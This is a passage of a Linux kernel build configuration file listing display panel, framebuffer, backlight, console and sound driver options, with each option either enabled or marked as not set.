# CONFIG_DRM_PANEL_SYNAPTICS_TDDI is not set
# CONFIG_DRM_PANEL_TDO_TL070WSH30 is not set
# CONFIG_DRM_PANEL_TPO_TD028TTEC1 is not set
# CONFIG_DRM_PANEL_TPO_TD043MTEA1 is not set
# CONFIG_DRM_PANEL_TPO_TPG110 is not set
# CONFIG_DRM_PANEL_TRULY_NT35597_WQXGA is not set
# CONFIG_DRM_PANEL_VISIONOX_G2647FB105 is not set
# CONFIG_DRM_PANEL_VISIONOX_R66451 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM69299 is not set
# CONFIG_DRM_PANEL_VISIONOX_RM692E5 is not set
# CONFIG_DRM_PANEL_VISIONOX_VTDR6130 is not set
# CONFIG_DRM_PANEL_WIDECHIPS_WS2401 is not set
# CONFIG_DRM_PANEL_XINPENG_XPP055C272 is not set
# end of Display Panels

# CONFIG_DRM_QXL is not set
# CONFIG_DRM_RADEON is not set
# CONFIG_DRM_ST7571 is not set
# CONFIG_DRM_ST7586 is not set
# CONFIG_DRM_ST7735R is not set
# CONFIG_DRM_ST7920 is not set
# CONFIG_DRM_SSD130X is not set

#
# Drivers for system framebuffers
#
CONFIG_DRM_SYSFB_HELPER=y
CONFIG_DRM_SIMPLEDRM=y
# CONFIG_DRM_VESADRM is not set
# end of Drivers for system framebuffers

# CONFIG_DRM_APPLETBDRM is not set
# CONFIG_DRM_ARCPGU is not set
CONFIG_DRM_BOCHS=y
CONFIG_DRM_CIRRUS_QEMU=y
CONFIG_DRM_GM12U320=y
# CONFIG_DRM_PANEL_MIPI_DBI is not set
# CONFIG_DRM_PIXPAPER is not set
# CONFIG_TINYDRM_HX8357D is not set
# CONFIG_TINYDRM_ILI9163 is not set
# CONFIG_TINYDRM_ILI9225 is not set
# CONFIG_TINYDRM_ILI9341 is not set
# CONFIG_TINYDRM_ILI9486 is not set
# CONFIG_TINYDRM_MI0283QT is not set
# CONFIG_TINYDRM_REPAPER is not set
# CONFIG_TINYDRM_SHARP_MEMORY is not set
CONFIG_DRM_UDL=y
# CONFIG_DRM_VBOXVIDEO is not set
CONFIG_DRM_VGEM=y
CONFIG_DRM_VIRTIO_GPU=y
CONFIG_DRM_VIRTIO_GPU_KMS=y
# CONFIG_DRM_VKMS is not set
CONFIG_DRM_VMWGFX=y
# CONFIG_DRM_VMWGFX_MKSSTATS is not set
# CONFIG_DRM_XE is not set
CONFIG_DRM_PANEL_ORIENTATION_QUIRKS=y

#
# Frame buffer Devices
#
CONFIG_FB=y
# CONFIG_FB_CIRRUS is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
# CONFIG_FB_ARC is not set
# CONFIG_FB_ASILIANT is not set
# CONFIG_FB_IMSTT is not set
CONFIG_FB_VGA16=y
# CONFIG_FB_UVESA is not set
CONFIG_FB_VESA=y
# CONFIG_FB_N411 is not set
# CONFIG_FB_OPENCORES is not set
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_NVIDIA is not set
# CONFIG_FB_RIVA is not set
# CONFIG_FB_I740 is not set
# CONFIG_FB_MATROX is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_S3 is not set
# CONFIG_FB_SAVAGE is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_VIA is not set
# CONFIG_FB_NEOMAGIC is not set
# CONFIG_FB_KYRO is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_VT8623 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_ARK is not set
# CONFIG_FB_PM3 is not set
# CONFIG_FB_CARMINE is not set
# CONFIG_FB_SMSCUFX is not set
# CONFIG_FB_UDL is not set
# CONFIG_FB_IBM_GXT4500 is not set
CONFIG_FB_VIRTUAL=y
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_MB862XX is not set
# CONFIG_FB_SSD1307 is not set
# CONFIG_FB_SM712 is not set
CONFIG_FB_CORE=y
CONFIG_FB_NOTIFY=y
CONFIG_FB_DEVICE=y
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
CONFIG_FB_SYS_FILLRECT=y
CONFIG_FB_SYS_COPYAREA=y
CONFIG_FB_SYS_IMAGEBLIT=y
# CONFIG_FB_FOREIGN_ENDIAN is not set
CONFIG_FB_SYSMEM_FOPS=y
CONFIG_FB_DEFERRED_IO=y
CONFIG_FB_IOMEM_FOPS=y
CONFIG_FB_IOMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS=y
CONFIG_FB_SYSMEM_HELPERS_DEFERRED=y
CONFIG_FB_TILEBLITTING=y
# end of Frame buffer Devices

#
# Backlight & LCD device support
#
CONFIG_LCD_CLASS_DEVICE=y
# CONFIG_LCD_L4F00242T03 is not set
# CONFIG_LCD_LMS283GF05 is not set
# CONFIG_LCD_LTV350QV is not set
# CONFIG_LCD_ILI922X is not set
# CONFIG_LCD_ILI9320 is not set
# CONFIG_LCD_TDO24M is not set
# CONFIG_LCD_VGG2432A4 is not set
# CONFIG_LCD_PLATFORM is not set
# CONFIG_LCD_AMS369FG06 is not set
# CONFIG_LCD_LMS501KF03 is not set
# CONFIG_LCD_HX8357 is not set
# CONFIG_LCD_OTM3225A is not set
CONFIG_BACKLIGHT_CLASS_DEVICE=y
# CONFIG_BACKLIGHT_AW99706 is not set
# CONFIG_BACKLIGHT_KTD253 is not set
# CONFIG_BACKLIGHT_KTD2801 is not set
# CONFIG_BACKLIGHT_KTZ8866 is not set
# CONFIG_BACKLIGHT_SY7758 is not set
# CONFIG_BACKLIGHT_MAX25014 is not set
# CONFIG_BACKLIGHT_MT6370 is not set
# CONFIG_BACKLIGHT_APPLE is not set
# CONFIG_BACKLIGHT_QCOM_WLED is not set
# CONFIG_BACKLIGHT_SAHARA is not set
# CONFIG_BACKLIGHT_ADP8860 is not set
# CONFIG_BACKLIGHT_ADP8870 is not set
# CONFIG_BACKLIGHT_LM3509 is not set
# CONFIG_BACKLIGHT_LM3639 is not set
# CONFIG_BACKLIGHT_PANDORA is not set
# CONFIG_BACKLIGHT_GPIO is not set
# CONFIG_BACKLIGHT_LV5207LP is not set
# CONFIG_BACKLIGHT_BD6107 is not set
# CONFIG_BACKLIGHT_ARCXCNN is not set
# CONFIG_BACKLIGHT_LED is not set
# end of Backlight & LCD device support

CONFIG_VGASTATE=y
CONFIG_VIDEOMODE_HELPERS=y
CONFIG_HDMI=y
# CONFIG_FIRMWARE_EDID is not set

#
# Console display driver support
#
CONFIG_VGA_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=80
CONFIG_DUMMY_CONSOLE_ROWS=25
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set
CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y
CONFIG_FRAMEBUFFER_CONSOLE_ROTATION=y
# CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set
# end of Console display driver support

CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_MONO_FILE="drivers/video/logo/logo_linux_mono.pbm"
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_VGA16_FILE="drivers/video/logo/logo_linux_vga16.ppm"
# CONFIG_LOGO_LINUX_CLUT224 is not set
# CONFIG_TRACE_GPU_MEM is not set
# end of Graphics support

# CONFIG_DRM_ACCEL is not set
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
CONFIG_SOUND_OSS_CORE_PRECLAIM=y
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_HWDEP=y
CONFIG_SND_SEQ_DEVICE=y
CONFIG_SND_RAWMIDI=y
CONFIG_SND_UMP=y
CONFIG_SND_UMP_LEGACY_RAWMIDI=y
CONFIG_SND_JACK=y
CONFIG_SND_JACK_INPUT_DEV=y
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_PCM_TIMER=y
CONFIG_SND_HRTIMER=y
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
CONFIG_SND_PROC_FS=y
CONFIG_SND_VERBOSE_PROCFS=y
CONFIG_SND_CTL_FAST_LOOKUP=y
CONFIG_SND_DEBUG=y
# CONFIG_SND_DEBUG_VERBOSE is not set
CONFIG_SND_PCM_XRUN_DEBUG=y
# CONFIG_SND_CTL_INPUT_VALIDATION is not set
# CONFIG_SND_CTL_DEBUG is not set
# CONFIG_SND_JACK_INJECTION_DEBUG is not set
# CONFIG_SND_UTIMER is not set
CONFIG_SND_VMASTER=y
CONFIG_SND_DMA_SGBUF=y
CONFIG_SND_CTL_LED=y
CONFIG_SND_SEQUENCER=y
CONFIG_SND_SEQ_DUMMY=y
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_SEQ_HRTIMER_DEFAULT=y
CONFIG_SND_SEQ_MIDI_EVENT=y
CONFIG_SND_SEQ_MIDI=y
CONFIG_SND_SEQ_VIRMIDI=y
# CONFIG_SND_SEQ_UMP is not set
CONFIG_SND_DRIVERS=y
# CONFIG_SND_PCSP is not set
CONFIG_SND_DUMMY=y
CONFIG_SND_ALOOP=y
# CONFIG_SND_PCMTEST is not set
CONFIG_SND_VIRMIDI=y
# CONFIG_SND_MTPAV is not set
# CONFIG_SND_MTS64 is not set
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_SERIAL_GENERIC is not set
# CONFIG_SND_MPU401 is not set
# CONFIG_SND_PORTMAN2X4 is not set
CONFIG_SND_PCI=y
# CONFIG_SND_AD1889 is not set
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALS4000 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ASIHPI is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SE6X is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set

#
# HD-Audio
#
CONFIG_SND_HDA=y
CONFIG_SND_HDA_HWDEP=y
CONFIG_SND_HDA_RECONFIG=y
CONFIG_SND_HDA_INPUT_BEEP=y
CONFIG_SND_HDA_INPUT_BEEP_MODE=1
CONFIG_SND_HDA_PATCH_LOADER=y
CONFIG_SND_HDA_POWER_SAVE_DEFAULT=0
# CONFIG_SND_HDA_CTL_DEV_ID is not set
CONFIG_SND_HDA_PREALLOC_SIZE=0
CONFIG_SND_HDA_INTEL=y
# CONFIG_SND_HDA_ACPI is not set
CONFIG_SND_HDA_GENERIC_LEDS=y
CONFIG_SND_HDA_CODEC_ANALOG=y
CONFIG_SND_HDA_CODEC_SIGMATEL=y
CONFIG_SND_HDA_CODEC_VIA=y
CONFIG_SND_HDA_CODEC_CONEXANT=y
# CONFIG_SND_HDA_CODEC_SENARYTECH is not set
CONFIG_SND_HDA_CODEC_CA0110=y
CONFIG_SND_HDA_CODEC_CA0132=y
# CONFIG_SND_HDA_CODEC_CA0132_DSP is not set
CONFIG_SND_HDA_CODEC_CMEDIA=y
# CONFIG_SND_HDA_CODEC_CM9825 is not set
CONFIG_SND_HDA_CODEC_SI3054=y
CONFIG_SND_HDA_GENERIC=y
CONFIG_SND_HDA_CODEC_REALTEK=y
# CONFIG_SND_HDA_CODEC_ALC260 is not set
# CONFIG_SND_HDA_CODEC_ALC262 is not set
# CONFIG_SND_HDA_CODEC_ALC268 is not set
# CONFIG_SND_HDA_CODEC_ALC269 is not set
# CONFIG_SND_HDA_CODEC_ALC662 is not set
# CONFIG_SND_HDA_CODEC_ALC680 is not set
# CONFIG_SND_HDA_CODEC_ALC861 is not set
# CONFIG_SND_HDA_CODEC_ALC861VD is not set
# CONFIG_SND_HDA_CODEC_ALC880 is not set
# CONFIG_SND_HDA_CODEC_ALC882 is not set
CONFIG_SND_HDA_CODEC_CIRRUS=y
# CONFIG_SND_HDA_CODEC_CS420X is not set
# CONFIG_SND_HDA_CODEC_CS421X is not set
# CONFIG_SND_HDA_CODEC_CS8409 is not set
CONFIG_SND_HDA_CODEC_HDMI=y
# CONFIG_SND_HDA_CODEC_HDMI_GENERIC is not set
# CONFIG_SND_HDA_CODEC_HDMI_SIMPLE is not set
# CONFIG_SND_HDA_CODEC_HDMI_INTEL is not set
# CONFIG_SND_HDA_CODEC_HDMI_ATI is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA is not set
# CONFIG_SND_HDA_CODEC_HDMI_NVIDIA_MCP is not set
# CONFIG_SND_HDA_CODEC_HDMI_TEGRA is not set
# CONFIG_SND_HDA_SCODEC_AW88399_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_I2C is not set
# CONFIG_SND_HDA_SCODEC_CS35L56_SPI is not set
CONFIG_SND_HDA_CORE=y
CONFIG_SND_HDA_COMPONENT=y
CONFIG_SND_HDA_I915=y
CONFIG_SND_INTEL_NHLT=y
CONFIG_SND_INTEL_DSP_CONFIG=y
CONFIG_SND_INTEL_SOUNDWIRE_ACPI=y
# end of HD-Audio

# CONFIG_SND_SPI is not set
CONFIG_SND_USB=y
CONFIG_SND_USB_AUDIO=y
CONFIG_SND_USB_AUDIO_MIDI_V2=y
CONFIG_SND_USB_AUDIO_USE_MEDIA_CONTROLLER=y
CONFIG_SND_USB_UA101=y
CONFIG_SND_USB_USX2Y=y
CONFIG_SND_USB_CAIAQ=y
CONFIG_SND_USB_CAIAQ_INPUT=y
CONFIG_SND_USB_US122L=y
# CONFIG_SND_USB_US144MKII is not set
CONFIG_SND_USB_6FIRE=y
CONFIG_SND_USB_HIFACE=y
CONFIG_SND_BCD2000=y
CONFIG_SND_USB_LINE6=y
CONFIG_SND_USB_POD=y
CONFIG_SND_USB_PODHD=y
CONFIG_SND_USB_TONEPORT=y
CONFIG_SND_USB_VARIAX=y
# CONFIG_SND_FIREWIRE is not set
CONFIG_SND_PCMCIA=y
# CONFIG_SND_VXPOCKET is not set
# CONFIG_SND_PDAUDIOCF is not set
CONFIG_SND_SOC=y
# CONFIG_SND_SOC_USB is not set

#
# Analog Devices
#
# CONFIG_SND_SOC_ADI_AXI_I2S is not set
# CONFIG_SND_SOC_ADI_AXI_SPDIF is not set
# end of Analog Devices

#
# AMD
#
# CONFIG_SND_SOC_AMD_ACP is not set
# CONFIG_SND_SOC_AMD_ACP3x is not set
# CONFIG_SND_SOC_AMD_RENOIR is not set
# CONFIG_SND_SOC_AMD_ACP5x is not set
# CONFIG_SND_SOC_AMD_ACP6x is not set
# CONFIG_SND_AMD_ACP_CONFIG is not set
# CONFIG_SND_SOC_AMD_ACP_COMMON is not set
# end of AMD

#
# Apple
#
# end of Apple

#
# Atmel
#
# CONFIG_SND_SOC_MIKROE_PROTO is not set
# end of Atmel

#
# Au1x
#
# end of Au1x

#
# Broadcom
#
# CONFIG_SND_BCM63XX_I2S_WHISTLER is not set
# end of Broadcom

#
# Cirrus Logic
#
# end of Cirrus Logic

#
# DesignWare
#
# CONFIG_SND_DESIGNWARE_I2S is not set
# end of DesignWare

#
# Freescale
#

#
# Common SoC Audio options for Freescale CPUs:
#
# CONFIG_SND_SOC_FSL_ASRC is not set
# CONFIG_SND_SOC_FSL_SAI is not set
# CONFIG_SND_SOC_FSL_AUDMIX is not set
# CONFIG_SND_SOC_FSL_SSI is not set
# CONFIG_SND_SOC_FSL_SPDIF is not set
# CONFIG_SND_SOC_FSL_ESAI is not set
# CONFIG_SND_SOC_FSL_MICFIL is not set
# CONFIG_SND_SOC_FSL_XCVR is not set
# CONFIG_SND_SOC_IMX_AUDMUX is not set
# end of Freescale

#
# Google
#
# CONFIG_SND_SOC_CHV3_I2S is not set
# end of Google

#
# Hisilicon
#
# CONFIG_SND_I2S_HI6210_I2S is not set
# end of Hisilicon

#
# JZ4740
#
# end of JZ4740

#
# Kirkwood
#
# end of Kirkwood

#
# Loongson
#
# end of Loongson

#
# Intel
#
# CONFIG_SND_SOC_INTEL_SST_TOPLEVEL is not set
# CONFIG_SND_SOC_INTEL_AVS is not set
# end of Intel

#
# Mediatek
#
# CONFIG_SND_SOC_MTK_BTCVSD is not set
# end of Mediatek

#
# PXA
#
# end of PXA

#
# SoundWire (SDCA)
#
# CONFIG_SND_SOC_SDCA is not set
CONFIG_SND_SOC_SDCA_OPTIONAL=y
# end of SoundWire (SDCA)

#
# ST SPEAr
#
# end of ST SPEAr

#
# Spreadtrum
#
# end of Spreadtrum

#
# STMicroelectronics STM32
#
# end of STMicroelectronics STM32

#
# Tegra
#
# end of Tegra

#
# Xilinx
#
# CONFIG_SND_SOC_XILINX_I2S is not set
# CONFIG_SND_SOC_XILINX_AUDIO_FORMATTER is not set
# CONFIG_SND_SOC_XILINX_SPDIF is not set
# end of Xilinx

#
# Xtensa
#
# CONFIG_SND_SOC_XTFPGA_I2S is not set
# end of Xtensa

# CONFIG_SND_SOC_SOF_TOPLEVEL is not set
CONFIG_SND_SOC_I2C_AND_SPI=y

#
# CODEC drivers
#
# CONFIG_SND_SOC_AC97_CODEC is not set
# CONFIG_SND_SOC_ADAU1372_I2C is not set
# CONFIG_SND_SOC_ADAU1372_SPI is not set
# CONFIG_SND_SOC_ADAU1373 is not set
# CONFIG_SND_SOC_ADAU1701 is not set
# CONFIG_SND_SOC_ADAU1761_I2C is not set
# CONFIG_SND_SOC_ADAU1761_SPI is not set
# CONFIG_SND_SOC_ADAU7002 is not set
# CONFIG_SND_SOC_ADAU7118_HW is not set
# CONFIG_SND_SOC_ADAU7118_I2C is not set
# CONFIG_SND_SOC_AK4104 is not set
# CONFIG_SND_SOC_AK4118 is not set
# CONFIG_SND_SOC_AK4375 is not set
# CONFIG_SND_SOC_AK4458 is not set
# CONFIG_SND_SOC_AK4554 is not set
# CONFIG_SND_SOC_AK4613 is not set
# CONFIG_SND_SOC_AK4619 is not set
# CONFIG_SND_SOC_AK4642 is not set
# CONFIG_SND_SOC_AK5386 is not set
# CONFIG_SND_SOC_AK5558 is not set
# CONFIG_SND_SOC_ALC5623 is not set
# CONFIG_SND_SOC_AUDIO_IIO_AUX is not set
# CONFIG_SND_SOC_AW8738 is not set
# CONFIG_SND_SOC_AW88395 is not set
# CONFIG_SND_SOC_AW88166 is not set
# CONFIG_SND_SOC_AW88261 is not set
# CONFIG_SND_SOC_AW88081 is not set
# CONFIG_SND_SOC_AW87390 is not set
# CONFIG_SND_SOC_AW88399 is not set
# CONFIG_SND_SOC_BD28623 is not set
# CONFIG_SND_SOC_BT_SCO is not set
# CONFIG_SND_SOC_CHV3_CODEC is not set
# CONFIG_SND_SOC_CS35L32 is not set
# CONFIG_SND_SOC_CS35L33 is not set
# CONFIG_SND_SOC_CS35L34 is not set
# CONFIG_SND_SOC_CS35L35 is not set
# CONFIG_SND_SOC_CS35L36 is not set
# CONFIG_SND_SOC_CS35L41_SPI is not set
# CONFIG_SND_SOC_CS35L41_I2C is not set
# CONFIG_SND_SOC_CS35L45_SPI is not set
# CONFIG_SND_SOC_CS35L45_I2C is not set
# CONFIG_SND_SOC_CS35L56_I2C is not set
# CONFIG_SND_SOC_CS35L56_SPI is not set
# CONFIG_SND_SOC_CS35L56_SDW is not set
# CONFIG_SND_SOC_CS42L42 is not set
# CONFIG_SND_SOC_CS42L42_SDW is not set
# CONFIG_SND_SOC_CS42L51_I2C is not set
# CONFIG_SND_SOC_CS42L52 is not set
# CONFIG_SND_SOC_CS42L56 is not set
# CONFIG_SND_SOC_CS42L73 is not set
# CONFIG_SND_SOC_CS42L83 is not set
# CONFIG_SND_SOC_CS42L84 is not set
# CONFIG_SND_SOC_CS4234 is not set
# CONFIG_SND_SOC_CS4265 is not set
# CONFIG_SND_SOC_CS4270 is not set
# CONFIG_SND_SOC_CS4271_I2C is not set
# CONFIG_SND_SOC_CS4271_SPI is not set
# CONFIG_SND_SOC_CS42XX8_SPI is not set
# CONFIG_SND_SOC_CS42XX8_I2C is not set
# CONFIG_SND_SOC_CS43130 is not set
# CONFIG_SND_SOC_CS4341 is not set
# CONFIG_SND_SOC_CS4349 is not set
# CONFIG_SND_SOC_CS48L32 is not set
# CONFIG_SND_SOC_CS53L30 is not set
# CONFIG_SND_SOC_CS530X_I2C is not set
# CONFIG_SND_SOC_CS530X_SPI is not set
# CONFIG_SND_SOC_CX2072X is not set
# CONFIG_SND_SOC_DA7213 is not set
# CONFIG_SND_SOC_DMIC is not set
# CONFIG_SND_SOC_ES7134 is not set
# CONFIG_SND_SOC_ES7241 is not set
# CONFIG_SND_SOC_ES8311 is not set
# CONFIG_SND_SOC_ES8316 is not set
# CONFIG_SND_SOC_ES8323 is not set
# CONFIG_SND_SOC_ES8326 is not set
# CONFIG_SND_SOC_ES8328_I2C is not set
# CONFIG_SND_SOC_ES8328_SPI is not set
# CONFIG_SND_SOC_ES8375 is not set
# CONFIG_SND_SOC_ES8389 is not set
# CONFIG_SND_SOC_FS210X is not set
# CONFIG_SND_SOC_GTM601 is not set
# CONFIG_SND_SOC_HDA is not set
# CONFIG_SND_SOC_ICS43432 is not set
# CONFIG_SND_SOC_IDT821034 is not set
# CONFIG_SND_SOC_MAX98088 is not set
# CONFIG_SND_SOC_MAX98090 is not set
# CONFIG_SND_SOC_MAX98357A is not set
# CONFIG_SND_SOC_MAX98504 is not set
# CONFIG_SND_SOC_MAX9867 is not set
# CONFIG_SND_SOC_MAX98927 is not set
# CONFIG_SND_SOC_MAX98520 is not set
# CONFIG_SND_SOC_MAX98363 is not set
# CONFIG_SND_SOC_MAX98373_I2C is not set
# CONFIG_SND_SOC_MAX98373_SDW is not set
# CONFIG_SND_SOC_MAX98388 is not set
# CONFIG_SND_SOC_MAX98390 is not set
# CONFIG_SND_SOC_MAX98396 is not set
# CONFIG_SND_SOC_MAX9860 is not set
# CONFIG_SND_SOC_MSM8916_WCD_DIGITAL is not set
# CONFIG_SND_SOC_PCM1681 is not set
# CONFIG_SND_SOC_PCM1754 is not set
# CONFIG_SND_SOC_PCM1789_I2C is not set
# CONFIG_SND_SOC_PCM179X_I2C is not set
# CONFIG_SND_SOC_PCM179X_SPI is not set
# CONFIG_SND_SOC_PCM186X_I2C is not set
# CONFIG_SND_SOC_PCM186X_SPI is not set
# CONFIG_SND_SOC_PCM3060_I2C is not set
# CONFIG_SND_SOC_PCM3060_SPI is not set
# CONFIG_SND_SOC_PCM3168A_I2C is not set
# CONFIG_SND_SOC_PCM3168A_SPI is not set
# CONFIG_SND_SOC_PCM5102A is not set
# CONFIG_SND_SOC_PCM512x_I2C is not set
# CONFIG_SND_SOC_PCM512x_SPI is not set
# CONFIG_SND_SOC_PCM6240 is not set
# CONFIG_SND_SOC_PEB2466 is not set
# CONFIG_SND_SOC_PM4125_SDW is not set
# CONFIG_SND_SOC_RT1017_SDCA_SDW is not set
# CONFIG_SND_SOC_RT1308_SDW is not set
# CONFIG_SND_SOC_RT1316_SDW is not set
# CONFIG_SND_SOC_RT1318_SDW is not set
# CONFIG_SND_SOC_RT1320_SDW is not set
# CONFIG_SND_SOC_RT5575 is not set
# CONFIG_SND_SOC_RT5616 is not set
# CONFIG_SND_SOC_RT5631 is not set
# CONFIG_SND_SOC_RT5640 is not set
# CONFIG_SND_SOC_RT5645 is not set
# CONFIG_SND_SOC_RT5659 is not set
# CONFIG_SND_SOC_RT5677 is not set
# CONFIG_SND_SOC_RT5682_SDW is not set
# CONFIG_SND_SOC_RT700_SDW is not set
# CONFIG_SND_SOC_RT711_SDW is not set
# CONFIG_SND_SOC_RT711_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_SDW is not set
# CONFIG_SND_SOC_RT712_SDCA_DMIC_SDW is not set
# CONFIG_SND_SOC_RT721_SDCA_SDW is not set
# CONFIG_SND_SOC_RT722_SDCA_SDW is not set
# CONFIG_SND_SOC_RT715_SDW is not set
# CONFIG_SND_SOC_RT715_SDCA_SDW is not set
# CONFIG_SND_SOC_RT9120 is not set
# CONFIG_SND_SOC_RT9123 is not set
# CONFIG_SND_SOC_RT9123P is not set
# CONFIG_SND_SOC_RTQ9124 is not set
# CONFIG_SND_SOC_RTQ9128 is not set
# CONFIG_SND_SOC_SDW_MOCKUP is not set
# CONFIG_SND_SOC_SGTL5000 is not set
# CONFIG_SND_SOC_SIMPLE_AMPLIFIER is not set
# CONFIG_SND_SOC_SIMPLE_MUX is not set
# CONFIG_SND_SOC_SMA1303 is not set
# CONFIG_SND_SOC_SMA1307 is not set
# CONFIG_SND_SOC_SPDIF is not set
# CONFIG_SND_SOC_SRC4XXX_I2C is not set
# CONFIG_SND_SOC_SSM2305 is not set
# CONFIG_SND_SOC_SSM2518 is not set
# CONFIG_SND_SOC_SSM2602_SPI is not set
# CONFIG_SND_SOC_SSM2602_I2C is not set
# CONFIG_SND_SOC_SSM3515 is not set
# CONFIG_SND_SOC_SSM4567 is not set
# CONFIG_SND_SOC_STA32X is not set
# CONFIG_SND_SOC_STA350 is not set
# CONFIG_SND_SOC_STI_SAS is not set
# CONFIG_SND_SOC_TAS2552 is not set
# CONFIG_SND_SOC_TAS2562 is not set
# CONFIG_SND_SOC_TAS2764 is not set
# CONFIG_SND_SOC_TAS2770 is not set
# CONFIG_SND_SOC_TAS2780 is not set
# CONFIG_SND_SOC_TAS2781_I2C is not set
# CONFIG_SND_SOC_TAS5086 is not set
# CONFIG_SND_SOC_TAS571X is not set
# CONFIG_SND_SOC_TAS5720 is not set
# CONFIG_SND_SOC_TAS5805M is not set
# CONFIG_SND_SOC_TAS6424 is not set
# CONFIG_SND_SOC_TAS675X is not set
# CONFIG_SND_SOC_TDA7419 is not set
# CONFIG_SND_SOC_TFA9879 is not set
# CONFIG_SND_SOC_TFA989X is not set
# CONFIG_SND_SOC_TLV320ADC3XXX is not set
# CONFIG_SND_SOC_TLV320AIC23_I2C is not set
# CONFIG_SND_SOC_TLV320AIC23_SPI is not set
# CONFIG_SND_SOC_TLV320AIC31XX is not set
# CONFIG_SND_SOC_TLV320AIC32X4_I2C is not set
# CONFIG_SND_SOC_TLV320AIC32X4_SPI is not set
# CONFIG_SND_SOC_TLV320AIC3X_I2C is not set
# CONFIG_SND_SOC_TLV320AIC3X_SPI is not set
# CONFIG_SND_SOC_TLV320ADCX140 is not set
# CONFIG_SND_SOC_TS3A227E is not set
# CONFIG_SND_SOC_TSCS42XX is not set
# CONFIG_SND_SOC_TSCS454 is not set
# CONFIG_SND_SOC_UDA1334 is not set
# CONFIG_SND_SOC_UDA1342 is not set
# CONFIG_SND_SOC_UDA1380 is not set
# CONFIG_SND_SOC_WCD937X_SDW is not set
# CONFIG_SND_SOC_WCD938X_SDW is not set
# CONFIG_SND_SOC_WCD939X_SDW is not set
# CONFIG_SND_SOC_WM8510 is not set
# CONFIG_SND_SOC_WM8523 is not set
# CONFIG_SND_SOC_WM8524 is not set
# CONFIG_SND_SOC_WM8580 is not set
# CONFIG_SND_SOC_WM8711 is not set
# CONFIG_SND_SOC_WM8728 is not set
# CONFIG_SND_SOC_WM8731_I2C is not set
# CONFIG_SND_SOC_WM8731_SPI is not set
# CONFIG_SND_SOC_WM8737 is not set
# CONFIG_SND_SOC_WM8741 is not set
# CONFIG_SND_SOC_WM8750 is not set
# CONFIG_SND_SOC_WM8753 is not set
# CONFIG_SND_SOC_WM8770 is not set
